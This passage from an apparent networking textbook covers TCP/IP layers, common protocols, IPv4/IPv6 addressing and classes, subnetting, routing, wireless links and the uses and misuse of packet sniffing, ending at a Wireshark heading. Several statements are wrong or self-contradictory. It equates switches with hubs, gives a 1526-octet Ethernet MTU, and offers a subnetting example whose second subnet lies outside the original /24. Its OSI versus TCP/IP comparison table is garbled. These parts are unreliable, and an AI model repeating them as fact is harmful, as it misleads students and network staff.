The application layer is also responsible for transmitting messages, which are referred to as application layer PDUs.

 

The host-to-host/transport layer

The transport layer, also known as the host-to-host layer, is the third layer of the TCP/IP model. It is responsible for establishing, maintaining, and terminating connections between devices. It includes the protocols and technologies used to provide reliable data transfer, such as Transmission Control Protocol (TCP) and User Datagram Protocol (UDP).

The transport layer is responsible for ensuring that data is delivered reliably between devices on a network. It provides several important functions, including error checking and correction, flow control, and congestion control. These functions ensure that data is delivered accurately and efficiently, even over networks with high levels of congestion or interference.

The transport layer also provides the means for devices to establish and maintain connections with one another. This is important because it allows applications to communicate with each other reliably and efficiently.

The transport layer is also responsible for transmitting segments, which are referred to as transport layer PDUs.

 

The network /internet layer

The network layer, also known as the internet layer, is the second layer of the TCP/IP model. It is responsible for routing data packets between devices on different networks. It includes the protocols and technologies used to address and route data, such as Internet Protocol (IP).

The network layer is responsible for routing data packets between devices on different networks. It does this by providing the means for devices to address and route data to its destination. This is achieved using unique IP addresses, which are assigned to each device on a network.

The network layer is an important layer of the TCP/IP model because it enables communication between devices on different networks. It allows data to be transmitted between devices on different networks, even if they are located in different parts of the world.

The network layer is also responsible for transmitting packets, referred to as network layer PDUs.

 

The network interface layer

You may think of the network interface layer as a collection of device drivers. Its responsibility is to prepare the data passed to it from the Internet layer for signaling. It does this by prefixing its header, computing a Cyclic Redundancy Check (CRC), appending the CRC to the datagram, and passing this information to the device (interface) for signaling in what is called a frame or cell. In particular, this layer understands physical addresses (MAC addresses). The network interface layer writes both the destination and source physical address into its header during encapsulation. Consequently, it is at this layer that, during de-encapsulation, initial decisions are made about whether to continue processing an incoming frame up the stack.

There is one device associated with this layer. It is a switch. Switches look like repeaters, a piece of hardware with at least two network ports, but are more intelligent than repeaters. Since they operate at the network interface layer, they can make decisions based on physical addresses. Switches are sometimes called hubs, bridges, or layer 2 routers.

Protocols used at this layer include Ethernet, PPP, and Frame Relay. The data link layer is also responsible for transmitting frames, which are called data link layer PDUs.

 

The hardware/physical layer

The hardware layer oversees the hardware, which includes hubs, cables, interface cards, and repeaters. It takes data from the network interface layer and prefixes it with the preamble, which is a well-known sequence of 64 bits required for synchronization. When it is finished, it creates a signal/bit of data that is sent to the media (electrically based cables in most cases). The hardware layer additionally enforces the internet layer's Maximum Transfer Unit (MTU) to guarantee that the hardware layer does not receive frames that are too large or too small. The MTU for an Ethernet signal is 1526 octets, while the smallest signal size is 72 octets.

At this layer, two hardware devices operate, that is repeaters and amplifiers. A repeater is a device with several ports (typically four or more) that can receive signals, filter out noise (non-communication-related events), and repeat the signals to all ports except the ingress (incoming) port. Amplifiers accomplish the same thing. However, they do not filter out noise. As a result, in electrical communications contexts, repeaters are used, whereas amplifiers are used in light-based communications situations. These devices are frequently referred to as hubs or concentrators.

Protocols used at this layer include Wi-Fi, RS-232, Bluetooth, and IEEE 802.3. The physical layer is also responsible for transmitting signals, which are referred to as physical layer PDUs.

Difference between OSI and TCP/IP models

Table 1.17 compares and contrasts the OSI and TCP/IP models based on various parameters:

Parameter            OSI model               TCP/IP Model

 

Full form       Open Systems Interconnection    Transmission Control

Protocol/Internet

Protocol

Layers         7 layers: Application,              4 layers: Application,

Presentation, Session,             Transport, Internet, Transport, Network, Data Link,    Network Access Physical

Usage         Low in usage, mainly used as a    Widely used in computer

reference model                  networks and the

internet

Approach      Vertical approach, each layer      Horizontal approach,

performs its task independently    layers are

interdependent and

work together

Delivery        Delivery of the packet is           Delivery of the packet is

guaranteed by the transport not guaranteed by the

layer                              transport layer

Replacement   Replacement of tools and         Replacing the tools is

changes can easily be done in not easy as it is in this

this model                        model

Reliability       Less reliable than TCP/IP          More reliable than OSI

model                        model

Table 1.17: Difference between OSI and TCP/IP models

In conclusion, the OSI Model offers a comprehensive and theoretical framework for understanding networking concepts, whereas the TCP/IP model provides a practical implementation tailored for real-world applications, especially in the context of the Internet. Both models have their unique strengths, and the choice between them often depends on specific networking requirements and contexts. Understanding these models is crucial, as it provides the foundation for building and maintaining complex computer networks.

 

Understanding network protocols

A network protocol is a set of rules and standards that govern the way devices on a computer network communicate with each other. These protocols define the types of messages that can be sent between devices, as well as the format and structure of those messages. Network protocols are necessary because they allow devices to communicate and exchange information even if they use different hardware, software, or operating systems. Network protocols enable you to communicate with individuals all around the world and hence play a crucial role in current digital communications.

Network protocols are often developed per industry standards by various networking or information technology groups.

The following organizations have defined and published several network protocols:

Internet Engineering Task Force (IETF)

International  Organization  for  Standardization (ISO)

International Telecommunications Union (ITU)

World Wide Web Consortium (W3C)

Institute  of  Electrical  and  Electronics  Engineers (IEEE)

While network protocol models often work in similar ways, each protocol is unique and operates in the manner specified by the organization that designed it.

There are millions of network protocols, but they all serve one of three functions:

Communication

Network management

Security

Each type must utilize network devices quickly and safely, and they collaborate to make that possible.

 

Communication protocols

A communication protocol is a set of rules and standards that govern the way devices communicate with each other. These protocols define the types of messages that can be sent between devices, as well as the format and structure of those messages. Communication protocols are necessary because they allow devices to communicate and exchange information, even if they use different hardware, software, or operating systems.

There are many different types of communication protocols. Each one serves a specific purpose. Some common communication protocols include:

 

Transmission control protocol/Internet protocol

This is a suite of protocols that defines how devices on the internet communicate with each other. It includes protocols for routing messages between devices, as well as for establishing and maintaining connections between them.

 

Hypertext Transfer Protocol

This is a protocol for transferring web pages and other files over the internet. It is used by web browsers to request and receive web content from servers.

 

File Transfer Protocol This is a protocol for transferring files between computers over a network. It is often used to transfer large files or to transfer files between computers that are not on the same local network.

 

Simple Mail Transfer Protocol

This is a protocol for sending emails over the internet. It is used by email clients to send messages to servers and by servers to route messages to their intended recipients.

 

Secure Shell

This is a protocol for securely accessing and managing remote computers over a network. It is often used to remotely access servers and perform tasks such as file transfers and system administration.

 

Internet Mail Access Protocol

This is a protocol for accessing and managing email messages on a remote server. It allows email clients to retrieve messages from a server and synchronize messages between the client and the server.

 

Post Office Protocol

This is a protocol for retrieving email messages from a server. It is used by email clients to download messages from a server and store them locally.

 

Lightweight Directory Access Protocol

This is a protocol for accessing and managing directory services over a network. It is often used to store and retrieve information such as user accounts, contact lists, and other types of data.

 

Telnet This is a protocol for accessing and managing remote devices over a network. It allows users to remotely log in to a device and run commands as if they were sitting at the device's console.

 

X.25

This is a protocol for establishing and maintaining connections between devices over a network. It was one of the first protocols to connect devices to the internet and is still in use today in some parts of the world.

 

Integrated Services Digital Network

This is a protocol for transmitting voice, data, and video over digital lines. It is often used to connect devices to the internet and to transmit multimedia content.

 

Asynchronous Transfer Mode

This is a protocol for transmitting data over high-speed networks. It is used to transmit large amounts of data quickly and efficiently.

 

Multiprotocol Label Switching

This is a protocol for routing traffic over a network. It allows networks to prioritize different types of traffic and route traffic more efficiently.

 

Session Initiation Protocol

This protocol helps to establish, modify, and terminate multimedia sessions such as voice and video calls over the internet.

 

Real-time Transport Protocol

This is a protocol for transmitting real-time data, such as audio and video, over a network. It is often used in conjunction with SIP to transmit multimedia content.

 

Network management protocols

Network management protocols are a set of standards and protocols that are used to manage and monitor the performance of computer networks. These protocols allow network administrators to configure, troubleshoot, and monitor network devices such as routers, switches, and servers. They also allow administrators to manage network resources, such as bandwidth and storage, and to track network performance metrics, such as latency and availability.

The following are the functions of network management protocols:

Connection:  These  protocols  are  used  to  create  and maintain  reliable  connections  between  devices  on  the same network.

Link aggregation:  Link  aggregation  protocols  enable the  combination  of  many  network  connections  into  a single  link  between  two  devices.  This  improves  the connection's strength and helps it stay connected if one of the links fails.

Troubleshooting:  Troubleshooting  protocols  enable network  administrators  to  discover  network  faults, assess  the  quality  of  the  network  connection,  and determine how to resolve any difficulties.

Some common network management protocols include:

 

Simple Network Management Protocol

This is a protocol for managing and monitoring network devices. It allows administrators to retrieve information from devices and configure their settings remotely.

Remote Monitoring

This is a protocol for monitoring network traffic and performance. It allows administrators to monitor traffic patterns, bandwidth usage, and other performance metrics on a network.

 

Network Time Protocol

This is a protocol for synchronizing the clocks of network devices. It allows devices to maintain accurate time even if their internal clocks drift.

 

Syslog

This is a protocol for logging system events on network devices. It allows administrators to track and monitor events such as system crashes, security breaches, and hardware failures.

 

NetFlow

This is a protocol for monitoring network traffic flow. It allows administrators to track the amount and type of traffic passing through a network, as well as to identify traffic patterns and trends.

 

Border Gateway Protocol

This is a protocol for routing internet traffic between networks. It allows Internet Service Providers (ISPs) to exchange information about the networks they operate and to route traffic between them.

 

Open Shortest Path First

This protocol helps in routing traffic within a network. It allows devices to exchange information about the routes available to them and to choose the best route for sending traffic.

Enhanced Interior Gateway Routing Protocol

This is a protocol for routing traffic within a network. It allows devices to exchange information about the routes available to them and to choose the best route for sending traffic.

 

Internet Control Message Protocol

This is a protocol for exchanging control messages between devices on a network. It allows devices to communicate with each other and to report errors or problems.

 

Domain Name System

This is a protocol for mapping domain names to IP addresses. It allows users to access websites and other internet resources using human-readable names instead of numerical IP addresses.

 

Dynamic Host Configuration Protocol

This is a protocol for automatically assigning IP addresses to network devices. It allows devices to obtain an IP address and other network configuration information automatically when they connect to a network.

 

Address Resolution Protocol

This is a protocol for mapping IP addresses to physical addresses (such as MAC addresses). It allows devices on a network to locate each other and communicate with each other.

 

Link Layer Discovery Protocol

This is a protocol for discovering and collecting information about devices on a network. It allows devices to identify their neighbors and exchange information about their capabilities and configuration.

Cisco Discovery Protocol

This is a proprietary protocol for discovering and collecting information about Cisco devices on a network. It is similar to LLDP and is used by Cisco devices to identify and communicate with each other.

 

Web-Based Enterprise Management

This is a protocol for managing and accessing network resources over the web. It allows administrators to access and manage network devices and resources using a web browser.

 

Security protocols

Security protocols are a set of standards and protocols that are designed to secure and protect computer networks and devices from unauthorized access and attacks. These protocols ensure that data transmitted over a network is protected from interception, tampering, and other types of cyber threats.

The following are common functionalities of security network protocols:

Encryption:  Encryption  techniques  safeguard  data and  protected  regions  by  forcing  users  to  provide  a secret key or password to access that data.

Entity authentication: Entity authentication methods build  a  system  in  which  various  devices  or  users  on  a network must validate their identities before accessing secure regions.

Transportation: Transportation  security  techniques safeguard  data  while  it  travels  from  one  network device to another.

Some common security protocols include:

Secure Sockets Layer and Transport Layer Security

These are protocols for establishing secure communication channels over a network. They use encryption to protect data transmitted between devices. They verify the identity of the devices involved in the communication. SSL and TLS are commonly used to secure web traffic, email, and other types of online communication.

 

Secure Shell

This is a protocol for securely accessing and managing remote computers over a network. It is often used to remotely access servers and perform tasks such as file transfers and system administration.

 

Internet Protocol Security

This is a protocol for securing internet communications. It provides authentication and encryption of data transmitted between devices over a network.

 

Wi-Fi Protected Access and WPA2

These are protocols for securing wireless networks. They use encryption and authentication to protect wireless traffic from being intercepted and accessed by unauthorized users.

 

Kerberos

This is a protocol for securely authenticating users on a network. It uses encryption and secure tickets to verify the identity of users and to grant them access to network resources.

 

Hypertext Transfer Protocol Secure

This is a protocol for securely transferring web pages and other files over the internet. It is an extension of HTTP that uses SSL/TLS to encrypt and secure web traffic.

Pretty Good Privacy

This is a protocol for encrypting and signing digital messages and files. It uses public key encryption to secure data and verify the identity of the sender.

 

IP networks and subnets

IP networks and subnets are used to divide a larger network into smaller, more manageable networks. An IP network is a group of devices that are connected to each other and can communicate using the Internet Protocol (IP). A subnet is a smaller network created by dividing a larger network into smaller groups of devices, using a process called subnetting. Subnetting can improve network security, reduce traffic congestion and increase network scalability. It also allows for more efficient use of IP addresses, which are a finite resource.

Let us understand IP networks and subnets in detail.

 

IP address

To comprehend subnets, we must first understand IP addresses. Every device that connects to the Internet is given a unique IP address, which allows data delivered over the Internet to reach the correct device among the billions of devices that are connected to the Internet. While computers read IP addresses in binary code (a series of 1s and 0s), IP addresses are often expressed in alphanumeric letters.

IP addresses are either configured manually (static IP address) or configured by a DHCP server.

 

IPv4 and IPv6

IPv4 and IPv6 are the two main types of IP addresses.

IPv4 is the fourth version of the Internet Protocol, and it is the most widely used version of the protocol on the Internet. An IPv4 address is a 32-bit numerical label that is used to identify a device on a network that uses the Internet Protocol version 4 (IPv4). It is written in dotted decimal notation, with four 8-bit blocks (each of the 8-bit block is called an octet) separated by periods.

This is an IP address example in binary: 10101100.00010000.11111110.00000001.

To simplify things, the decimal representation is usually used to make an IP address like this: 172.16.254.1. IPv4 addresses are divided into two parts: the network prefix and the host identifier. The network prefix identifies the network that the device is on, and the host identifier identifies the specific device within that network. The network prefix is typically assigned by the ISP, and the host identifier is typically assigned by the network administrator.

Due to the limited number of IP addresses available in IPv4 (nearly 4.3 billion), the depletion of available IP addresses has become a concern and led to the development of IPv6.

IPv6 is the sixth version of the Internet Protocol, and it was developed to address the exhaustion of IPv4 addresses. IPv6 uses a 128-bit address, which allows for a much larger number of unique addresses, approximately 340 trillion trillion trillion (3.4 x 10 38). This addresses the issue of IP address exhaustion and provides a solution to the increasing number of connected devices.

It is written in hexadecimal notation, with eight 16-bit blocks separated by colons. An IPv6 address, for example, would look like this:

2001:0db8:85a3:0000:0000:8a2e:0370:7334

Each block of the address is represented by four hexadecimal digits, and leading zeros in a block can be omitted. For example, the address above could also be written as:

2001:db8:85a3:0:0:8a2e:370:7334

IPv6 addresses are divided into two parts: the network prefix and the interface identifier. The network prefix identifies the network that the device is on, and the interface identifier identifies the specific device within that network. The network prefix is typically assigned by the ISP, and the interface identifier is typically generated from the device's MAC address.

IPv6 addresses are typically assigned to devices automatically using Stateless Address Autoconfiguration (SLAAC). This allows devices to generate their unique IPv6 addresses without the need for manual configuration or a Dynamic Host Configuration Protocol (DHCP) server.

This allows for the continued growth of the Internet and the increasing number of devices that are connected to it. IPv6 is gradually being adopted by ISPs and websites around the world, and it is expected to eventually replace IPv4 as the primary protocol used on the Internet.

 

Subnet

A subnetwork is a network within a network. Subnets improve the efficiency of networks. Subnetting allows network data to travel a shorter distance to its destination without going through unnecessary routers.

Assume Lisa sends a letter to John, who lives in the town adjacent to hers. The letter should be sent directly from Lisa's post office to the post office in John's town and then to John. If the letter is initially delivered to a post office hundreds of miles away, it might take much longer for Lisa's letter to reach John.

Like the postal service, networks are more efficient when communications move as directly as possible. When a network receives data packets from another network, it sorts and routes those packets by subnet so that the packets do not take an inefficient path to their destination.

Subnets are typically created by dividing the host portion of an IP address into two or smaller subnet masks. For example, a network with the IP address range 192.168.0.0/24 can be divided into two subnets by using a subnet mask of 255.255.255.0. The first subnet would have a range of 192.168.0.0 to 192.168.0.255, and the second subnet would have a range of 192.168.1.0 to 192.168.1.255.

 

The breakdown and significance of IP addresses

Let us start with IPv4 addresses, which are represented as four decimal digits separated by periods, such as 203.0.113.112. (IPv6 addresses are longer and feature letters in addition to numbers.)

Every IP address is divided into two parts. The first portion tells which network the address belongs to. The second portion indicates the device inside that network. The length of the first part varies based on the network's class.

Networks are classified into different classes, labeled A through E. Class A networks may connect millions of devices. Class B and Class C networks are increasingly smaller in size. (Class D and Class E networks are rarely utilized). Each class has a distinct default subnet mask, and you can tell which class it is by looking at the first octet of an IP address.

Following are the five classes of IP addresses with an example:

Class  A  network:  Class  A  network  is  a  type  of  IP address that can support a large number of hosts on a network. An IP address consists of four numbers, each ranging from 0 to 255, separated by dots. For example, 10.0.0.0/8  is  a  Class  A  IP  address.  The  slash  (/) indicates  the  number  of  bits  that  are  used  to  identify

the network part of the address. In this case, 8 bits are used  for  the  network  part,  which  means  only  the  first number  (10)  is  fixed  for  the  network.  The  remaining three numbers (0.0.0) can vary for the host part, which identifies the specific device on the network. A Class A network can have any number from 1 to 126 as the first number,  except  127,  which  is  reserved  for  loopback testing.  The  range  of  Class  A  networks  is  therefore 1.0.0.0 to 126.0.0.0. The host part of a Class A network can have any combination of numbers from 0 to 255 for the  remaining  three  numbers,  which  gives  a  total  of 256×256×256=16,777,216  possible  host  addresses  per network. However, two of these addresses are reserved for  special  purposes:  one  for  the  network  itself  (all zeros)  and  one  for  broadcasting  to  all  hosts  on  the network  (all  ones).  Therefore,  the  actual  number  of usable host addresses per network is 16,777,216 – 2 = 16,777,214.

Class  B  network:  Class  B  network  is  a  type  of  IP address that can support a medium number of hosts on a network. An IP address has four numbers, each from 0    to    255,    separated    by    dots.    For example, 172.16.0.0/16  is  a  Class  B  IP  address.  In  this  case,  16 bits  are  used  for  the  network  part,  which  means  the first  two  numbers  (172.16)  are  fixed  for  the  network. The  last  two  numbers  (0.0)  can  change  for  the  host part,  which  identifies  the  specific  device  on  the network. A Class B network can have any number from 128 to 191 as the first number, and any number from 0 to  255  as  the  second  number.  The  range  of  Class  B networks  is  therefore  128.0.0.0  to  191.255.0.0.  The host  part  of  a  Class  B  network  can  have  any combination of numbers from 0 to 255 for the last two numbers,  which  gives  a  total  of  256×256=65,536 possible  host  addresses  per  network.  However,  two  of

these addresses are reserved for special purposes: one for  the  network  itself  (all  zeros)  and  one  for broadcasting  to  all  hosts  on  the  network  (all  ones). Therefore, the actual number of usable host addresses per network is 65,536 − 2 = 65,534.

Class  C  network:  Class  C  network  is  a  type  of  IP address that can support a small number of hosts on a network. An IP address has four numbers, each from 0 to 255, separated by dots. For example, 192.168.0.0/24 is  a  Class  C  IP  address.  In  this  case,  24  bits  are  used for  the  network  part,  which  means  the  first  three numbers (192.168.0) are fixed for the network. The last number  (0)  can  change  for  the  host  part,  which identifies the specific device on the network. A Class C network  can  have  any  number  from  192  to  223  as  the first  number,  and  any  number  from  0  to  255  as  the second  and  third  numbers.  The  range  of  Class  C networks  is  therefore  192.0.0.0  to  223.255.255.0.  The host  part  of  a  Class  C  network  can  have  any  number from  0  to  255  for  the  last  number,  which  gives  a  total of  256  possible  host  addresses  per  network.  However, two  of  these  addresses  are  reserved  for  special purposes: one for the network itself (all zeros) and one for broadcasting to all hosts on the network (all ones). Therefore, the actual number of usable host addresses per network is 256 − 2 = 254.

Class  D  network:  Class  D  network  is  a  type  of  IP address that is used for multicast communication on  a network.  Multicast  communication  means  sending  a single packet to multiple destinations at the same time. An  IP  address  has  four  numbers,  each  from  0  to  255, separated by dots. For example, 224.0.0.1 is a Class D IP  address  that  is  used  for  sending  packets  to  all routers on a network. The first number of a Class D IP address  must  be  between  224  and  239,  and  the

remaining  three  numbers  can  be  any  value  from  0  to 255.  The  range  of  Class  D  networks  is  therefore 224.0.0.0 to 239.255.255.255.

Class  E  network:  Class  E  network  is  a  type  of  IP address that is reserved for experimental use and is not used  on  the  public  Internet.  An  IP  address  has  four numbers,  each  from  0  to  255,  separated  by  dots.  For example,  240.0.0.1  is  a  Class  E  IP  address  that  might be  used  for  testing  purposes  by  researchers  or developers.  The  first  number  of  a  Class  E  IP  address must be between 240 and 254, and the remaining three numbers can be any value from 0 to 255. The range of Class    E    networks    is    therefore    240.0.0.0    to 254.255.255.255.

 

The benefits of subnetting

Subnetting is necessary for several reasons:

To  improve  network  performance: By  grouping devices  that  communicate  with  each  other  frequently into  the  same  subnet,  subnetting  reduces  the  amount of network traffic that must be routed between subnets and helps to reduce the load on network devices, such as routers.

To  segment  a  network:  Subnets  can  be  used  to segment a larger network into smaller, logical groups. This  can  be  useful  for  security  and  management purposes,  as  it  allows  different  departments  or business  units  to  be  isolated  from  each  other  on  the network.

To conserve IP addresses: Subnetting allows a single network  to  be  divided  into  smaller  subnets,  each  with its unique IP address range. This can help to conserve IP  addresses,  especially  in  large  networks  where  the number of available IP addresses is limited.

To  simplify  network  administration:  Subnets  can make it easier to manage and maintain a large network by allowing different groups of devices to be managed separately.

 

What is a subnet mask

A subnet mask is similar to an IP address; however, it is only used internally within a network. Subnet masks are used by routers to route data packets to the correct destination. Data packets traveling the Internet do not contain subnet masks; instead, they simply contain the destination IP address, which a router matches with a subnet.

Assume John responds to Lisa's letter but sends it to her work rather than her home. Lisa's office is huge, with several distinct departments. To ensure that workers receive their letters as soon as possible, the administrative team at Lisa's office organizes mail by department rather than by individual employees. After receiving John's letter, they searched Lisa's department and discovered she works in customer support. They send the letter to the customer support department rather than to Lisa, and the customer support staff delivers it to Lisa.

In this instance, Lisa is an IP address, while customer support is a subnet mask. John's letter was promptly sorted into the correct group of prospective recipients by connecting Lisa to her department. Without this step, office administrators would have to spend time laboriously seeking Lisa's desk, which may be anywhere in the building.

Assume an IP packet is directed to the IP address 192.0.2.15. The network is denoted by "192.0.2" (or, to be more accurate, 192.0.2.0/24) because this IP address belongs to a Class C network. Network routers route the packet to the "192.0.2" network host.

When the packet arrives at that network, a router reviews its routing table. It performs some binary mathematics with its subnet mask of 255.255.255.0, sees the device address "15" (the remaining IP address specifies the network), and determines which subnet the packet should travel to. The packet is forwarded to the router or switch in charge of delivering packets inside that subnet, and it arrives at IP address 192.0.2.15.

 

Switching and routing packets

In computer networking, switching and routing are two important functions that are used to enable communication between devices on a network.

 

Switching packets

Switching refers to the process of forwarding data packets from one device to another based on the destination address of the packet. When a device receives a packet, it looks at the destination address and determines which device on the network the packet should be sent to next. The device then forwards the packet to the appropriate destination using a process known as packet switching.

Packet switching is a method of transmitting data from a source device to a destination device by breaking the data down into smaller units called packets. Each packet contains the destination address of the device it is intended for, as well as other information needed to deliver the packet to its destination. The network devices can then route the packets to the destination, where the receiving device reassembles them for use.

In a packet-switched network, packets are transmitted from the source device to a series of intermediate devices, such as switches and routers, which are used to forward the packets to their destination. The intermediate devices use the destination address of the packet to determine the next hop in the path to the destination.

Packet switching is used in many modern computer networks, including the internet, to enable communication between devices. It is a more efficient method of transmitting data compared to circuit-switched networks, which establish a dedicated connection between two devices for the duration of a communication session.

A switch is a device that is used to forward data packets from one device to another based on the destination address of the packet. Switches operate at the data link layer (layer 2) of the OSI model, and they use MAC addresses to forward packets to the correct destination. Switches are used to create LANs, which are networks that are used to connect devices within a single building.

 

Routing packets

Routing is the process of determining the best path for data packets to travel from one network to another. Routers are specialized devices that are used to perform routing functions. They receive data packets from one network and forward them to the next network based on the destination address of the packet and the routing information stored in the router's routing table.

In a packet-routed network, data packets are transmitted from the source device to a series of intermediate devices, such as routers, which are used to forward the packets to their destination.

Routers operate at the network layer (layer 3) of the OSI model. They use IP addresses to determine the best path for data packets to travel between networks. Routers are used to connect multiple networks, such as a LAN and a WAN or the Internet.

The routing table is a data structure that is used by the router to store information about the networks it is connected to and the best paths to reach those networks. When a router receives a data packet, it looks up the destination address in the routing table to determine the best path to the destination network. The router then forwards the packet to the next hop in the path using a process known as packet switching.

Routing tables can be static or dynamic.

Static  routing:  Static  routing  is  a  manual  process  in which  the  network  administrator  configures  the routing  table  with  a  set  of  pre-defined  routes.  These routes  are  fixed  and  do  not  change  unless  the administrator manually updates the routing table. One advantage of static routing is that it is simple and easy to configure. It is also more secure, as it does not rely on  external  protocols  or  devices  to  update  the  routing table.  However,  it  can  be  time-consuming  to  maintain and is not suitable for networks with frequent changes, such as the Internet.

Dynamic  routing:  Dynamic  routing  is  a  process  in which the routing table is automatically updated by the router  using  one  or  more  routing  protocols.  These protocols  allow  the  router  to  exchange  information with  other  routers  on  the  network  and  to  learn  about the different available routes. Dynamic routing is more flexible  and  efficient  than  static  routing,  as  it  allows the  router  to  adapt  to  changes  in  the  network automatically.  However,  it  requires  a  more  complex configuration  and  is  more  vulnerable  to  security threats, as it relies on external protocols and devices to update the routing table.

 

WAN links A Wide Area Network (WAN) is a type of computer network that spans a large geographical area, such as a city, a country, or even the world. WANs are used to connect computers and other devices over long distances using a variety of technologies, including leased lines, satellite links, and the Internet.

A WAN link is a connection between two devices that enables them to communicate over a WAN. WAN links can be established using various technologies, including leased lines, satellite links, and point-to-point protocols.

Leased  lines  are  dedicated,  point-to-point  connections that  are  provided  by  telecommunications  companies. They  can  be  used  to  connect  devices  over  long distances, and they offer high speeds and low latency.

Satellite  links  use  satellites  orbiting  the  earth  to transmit data between devices. They are a good choice for  connecting  devices  in  remote  or  hard-to-reach locations,  but  they  can  be  slower  and  more  expensive than other types of WAN links.

Point-to-point  protocols  are  used  to  establish  a  direct connection between two devices over a WAN. They can be  used  to  connect  devices  over  long  distances,  and they offer high speeds and low latency.

 

Wireless networking

Wireless networking is a type of computer networking that uses wireless technology to transmit data between devices. Wireless networking is commonly used to connect devices over short distances, such as in a home or office, or over longer distances, such as between buildings on a campus or across a city.

There are several different types of wireless networking technologies, including:

Wi-Fi:  This  is  the  most  common  type  of  wireless networking  technology,  and  it  is  used  to  connect devices over short distances. Wi-Fi uses radio waves to transmit  data  between  devices,  and  it  operates  in several frequency bands, including 2.4 GHz and 5 GHz.

Bluetooth:  This  is  a  wireless  networking  technology that  is  used  to  connect  devices  over  short  distances, such as a computer and a mouse or a smartphone and a headset. Bluetooth uses radio waves to transmit data between  devices,  and  it  operates  in  the  2.4  GHz frequency band.

Cellular: This is a wireless networking technology that is used to connect devices over long distances, such as a  smartphone  connecting  to  the  Internet.  Cellular networks  use  a  series  of  towers  and  base  stations  to transmit  data  between  devices,  and  they  operate  in many  frequency  bands,  depending  on  the  region  and the technology used.

Satellite:  This  is  a  wireless  networking  technology that  uses  satellites  orbiting  the  earth  to  transmit  data between  devices.  Satellite  networks  are  often  used  to connect  devices  in  remote  or  hard-to-reach  locations, but they can be slower and more expensive than other types of wireless networks.

Radio  Frequency  Identification  (RFID):  This  is  a wireless  networking  technology  that  uses Radio Frequency  (RF)  signals  to  transmit  data  between devices. RFID is often used in automated identification and  tracking  systems,  such  as  in  supply  chain management and inventory control.

Infrared  (IR):  This  is  a  wireless  networking technology  that  uses  infrared  light  to  transmit  data between  devices.  IR  is  often  used  to  connect  devices

over  short  distances,  such  as  a  television  remote control and a television.

 

What is network traffic

Network traffic refers to the amount of data that is being transmitted over a network at a given time. Network traffic can be measured in terms of the volume of data, the number of packets, or the rate at which data is transmitted.

Network traffic can be classified into different types based on the nature of the data being transmitted. For example, network traffic can be classified as:

Real-time  traffic:  This  refers  to  data  that  requires immediate delivery, such as voice or video.

Non-real-time  traffic: This  is  the  data  that  can  be delivered later, such as email or file transfers.

Traffic with high latency: This type of data that takes a  long  time  to  transmit,  such  as  large  file  transfers  or data transmitted over long distances.

Traffic  with  low  latency:  This  refers  to  data  that  is transmitted  quickly,  such  as  small  packets  of  data transmitted over short distances.

Network traffic can also be classified as:

Inbound  traffic:  This  refers  to  data  that  is  being transmitted to a device or network.

Outbound  traffic:  This  refers  to  data  that  is  being transmitted from a device or network.

Network traffic refers to the amount of data that is being transmitted over a network at a given time. Network traffic can be classified based on the nature of the data being transmitted and the direction in which it is traveling.

Overview of network packet sniffing

Sniffing is the act of using our sense of smell to enjoy something, such as a sniff of perfume. In this instance, our nose serves as a sniffer. To capture or gather the packets flowing in our networks, we may do network sniffing utilizing various tools classified as packet sniffers. They are just a means for us to view network traffic and bandwidth data throughout the whole IT infrastructure. Network packet sniffing is the practice of sniffing data traveling over a network via a packet sniffer.

Packet sniffers work by capturing packets as they travel across the network and storing them for analysis. The packets can then be analyzed to extract information about the data being transmitted, the source and destination of the data, and other details about the network traffic.

 

The purpose of network packet sniffing

The main purpose of network packet sniffing is to capture and analyze network traffic to monitor the activity on a network, diagnose network problems, or detect security breaches. Packet sniffing is a useful tool for network administrators, as it allows them to monitor the activity on their network and identify potential problems or security vulnerabilities.

Packet sniffing can be used to:

Monitor  network  activity:  Packet  sniffing  can  be used  to  capture  and  analyze  network  traffic  to understand how the network is being used. This can be useful  for  identifying  trends,  identifying  unusual activity, or detecting problems on the network.

Diagnose network problems: Packet  sniffing  can  be used  to  capture  and  analyze  network  traffic  to troubleshoot  problems  on  the  network.  By  analyzing

the packets being  transmitted,  network  administrators can  identify  the  source  of  the  problem  and  take  steps to resolve it.

Detect  security  breaches:  Packet  sniffing  can  be used  to  capture  and  analyze  network  traffic  to  detect security breaches or malicious activity on the network. By  analyzing  the  packets  being  transmitted,  network administrators can identify suspicious activity and take steps to protect the network.

While network packet sniffing is a useful tool for network administrators, it can also be used for malicious purposes by hackers. Hackers can use packet sniffing to capture and analyze network traffic to steal sensitive data, spy on network users, or gain unauthorized access to networks or devices.

Some examples of how hackers might use packet sniffing for malicious purposes include:

Stealing  sensitive  data:  Hackers  can  use  packet sniffing to capture and analyze network traffic to steal sensitive  data,  such  as  login  credentials  or  financial information.    By    analyzing    the    packets    being transmitted,  hackers  can  identify  sensitive  data  and capture it for their use.

Spying  on  network  users:  Hackers  can  use  packet sniffing  to  capture  and  analyze  network  traffic  to  spy on  network  users  and  monitor  their  activity.  By analyzing  the  packets  being  transmitted,  hackers  can gain  insights  into  the  habits  and  behaviors  of  network users.

Gaining  unauthorized  access  to  networks  or devices:  Hackers  can  use  packet  sniffing  to  capture and  analyze  network  traffic  to  identify  vulnerabilities or  weaknesses  in  a  network  or  device.  They  can  then

use this information to gain unauthorized access to the network or device.

 

Active and passive sniffing

There are two main types of network packet sniffing: active and passive.

Passive packet sniffing is the process of capturing and analyzing network traffic without actively sending packets onto the network. Passive packet sniffing is used to monitor the activity on a network and can be useful for identifying trends, detecting problems, or detecting security breaches.

To perform passive packet sniffing, a packet sniffer is installed on a device that is connected to the network, such as a router or a computer. The packet sniffer captures packets as they travel across the network and stores them for analysis. The packets can then be analyzed to extract information about the data being transmitted, the source and destination of the data, and other details about the network traffic.

Passive packet sniffing is generally less detectable than active packet sniffing, as it does not involve actively sending packets onto the network. This makes it less likely to be considered a security breach.

Active packet sniffing is the process of actively sending packets onto a network to capture and analyze network traffic. Active packet sniffing can be used to test the security of a network or to identify vulnerabilities or weaknesses.

To perform active packet sniffing, a packet sniffer is used to send packets onto the network. The packets contain data that is designed to trigger a response from the network or devices on the network. For example, the packets may contain data that is designed to cause an error or trigger a security alert.

Once the packets are sent onto the network, the packet sniffer captures and analyses the response from the network or devices. By analyzing the response, the packet sniffer can identify vulnerabilities or weaknesses in the network or devices.

Active packet sniffing is a powerful tool for network administrators, as it allows them to test the security of their network and identify vulnerabilities or weaknesses. However, active packet sniffing can also be detected by network administrators and may be considered a security breach.

 

Wireshark in ethical hacking and traffic analysis

